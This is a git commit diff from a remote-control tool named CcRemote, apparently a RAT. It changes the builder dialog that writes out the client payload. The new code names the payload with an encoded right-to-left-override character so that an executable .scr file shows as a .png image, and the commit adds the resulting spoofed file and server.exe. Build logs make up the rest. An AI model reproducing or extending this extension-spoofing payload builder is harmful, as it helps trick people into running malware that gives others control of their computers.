update 生成客户端 仿造PNG

This commit is contained in:
changcheng 2020-07-27 00:33:44 +08:00
parent 0817ad4f64
commit ca30e3eee0
11 changed files with 57 additions and 26 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -46,21 +46,40 @@ END_MESSAGE_MAP()
// CBuildDlg 消息处理程序 // CBuildDlg 消息处理程序
bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;
HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
{
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
}
else
{
return false;
}
CloseHandle(hFile);
return true;
}
void CBuildDlg::OnBnClickedOk() void CBuildDlg::OnBnClickedOk()
{ {
// TODO: 在此添加控件通知处理程序代码 // TODO: 在此添加控件通知处理程序代码
CFile file; CFile file;
char strTemp[MAX_PATH]; char strTemp[MAX_PATH];
WCHAR strTempW[MAX_PATH];
ZeroMemory(strTemp, MAX_PATH); ZeroMemory(strTemp, MAX_PATH);
CString strCurrentPath; CString strCurrentPath;
CStringW strCurrentPathW;
CString strFile; CString strFile;
CString strSeverFile; CString strSeverFile;
CString strCamouflageFile; CString strCamouflageFile;
BYTE *lpBuffer = NULL; BYTE *lpBuffer = NULL;
char names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 }; BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
WCHAR namess[60] = L"F:\\myapp\\CcRemote\\bin\\server\\"; PWCHAR namess = (PWCHAR)names;
memcpy(namess + 29, names, 0x24);
DWORD dwFileSize; DWORD dwFileSize;
UpdateData(TRUE); UpdateData(TRUE);
@ -71,6 +90,12 @@ void CBuildDlg::OnBnClickedOk()
{ {
//此处得到未处理前的文件名 //此处得到未处理前的文件名
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名 GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
strCurrentPathW = strTempW;
strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
strCurrentPath = strTemp; strCurrentPath = strTemp;
int nPos = strCurrentPath.ReverseFind('\\'); int nPos = strCurrentPath.ReverseFind('\\');
strCurrentPath = strCurrentPath.Left(nPos); strCurrentPath = strCurrentPath.Left(nPos);
@ -96,15 +121,10 @@ void CBuildDlg::OnBnClickedOk()
//else //else
//{ //{
//保存到文件 //保存到文件
strSeverFile = "F:\\myapp\\CcRemote\\bin\\server\\"; strSeverFile = strCurrentPath+"\\server.exe";
strSeverFile += names;
HANDLE hFile = CreateFileW(namess, //第一个参数:路径 strCurrentPathW = strCurrentPathW + L"\\" + namess;
GENERIC_READ, //打开方式: CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
0, //共享模式:0为独占
NULL,
OPEN_EXISTING, //打开已存在的文件
FILE_FLAG_BACKUP_SEMANTICS, //FILE_FLAG_BACKUP_SEMANTICS表示为目录NULL表示文件
NULL);
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite); file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
file.Write(lpBuffer, dwFileSize); file.Write(lpBuffer, dwFileSize);
file.Close(); file.Close();
@ -174,4 +194,5 @@ CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize)
FindClose(h); FindClose(h);
return a; return a;
} }

View File

@ -1,13 +1,23 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
CBuildDlg.cpp CBuildDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(80): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据 g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(68): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(117): warning C4101: “e”: 未引用的局部变量 g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(121): warning C4101: “e”: 未引用的局部变量 g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(125): warning C4101: “e”: 未引用的局部变量 g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(153): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(154): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\ccremote\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe zlibstat.lib(adler32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(adler32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(compress.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(compress.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(crc32.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(crc32.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(deflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(deflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(inffast.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inffast.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(inflate.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inflate.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(inftrees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(inftrees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(trees.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(trees.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(uncompr.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(uncompr.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
zlibstat.lib(zutil.obj) : warning LNK4099: 未找到 PDB“zlibstat.pdb”(使用“zlibstat.lib(zutil.obj)”或在“G:\CcRemote\CcRemote\bin\zlibstat.pdb”中寻找);正在链接对象,如同没有调试信息一样
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcRemote\| Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|

Binary file not shown.

BIN
bin/server.exe Normal file

Binary file not shown.

BIN
bin/sex‮gnp.scr Normal file

Binary file not shown.